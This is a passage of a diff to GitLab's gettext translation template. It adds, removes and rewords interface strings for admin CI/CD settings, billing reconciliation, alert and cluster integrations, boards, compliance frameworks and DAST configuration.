+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2554,9 +2575,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2569,19 +2587,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2593,7 +2614,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2602,10 +2623,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -3016,9 +3034,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3239,12 +3269,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3371,9 +3407,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3440,6 +3473,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3599,9 +3635,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3674,9 +3707,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3728,6 +3758,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3818,6 +3851,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3974,9 +4010,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4253,9 +4286,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4353,15 +4383,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4751,9 +4775,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4944,9 +4965,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5334,6 +5352,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5480,6 +5501,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5541,6 +5565,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5571,6 +5598,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5793,6 +5823,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5961,6 +5994,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -6010,10 +6046,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -6058,6 +6094,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6181,9 +6220,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6289,15 +6325,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6574,6 +6610,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6676,9 +6715,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6706,6 +6742,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -7135,9 +7174,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7147,24 +7183,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -7198,15 +7222,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7219,9 +7234,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7243,9 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7264,15 +7273,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7294,9 +7294,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7309,15 +7306,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7339,15 +7333,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7396,12 +7381,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7417,9 +7396,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7435,9 +7411,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7480,27 +7453,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7528,9 +7486,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7540,18 +7495,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7573,39 +7516,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7639,9 +7552,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7690,12 +7600,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7738,9 +7642,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7750,15 +7651,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7795,24 +7687,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7825,9 +7699,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7876,15 +7747,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7909,9 +7774,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7930,27 +7792,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7960,24 +7807,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8008,9 +7837,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -8032,21 +7858,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8071,27 +7885,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -8107,12 +7906,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -8185,6 +7978,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8200,9 +7996,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8501,9 +8303,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8540,9 +8339,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8561,42 +8357,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8615,6 +8378,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8869,6 +8635,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -9224,7 +8993,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9263,6 +9032,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9329,6 +9101,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9569,9 +9344,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9698,9 +9470,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9932,6 +9701,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9941,9 +9716,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9959,9 +9731,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -10037,6 +9806,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10258,9 +10030,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10327,6 +10096,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
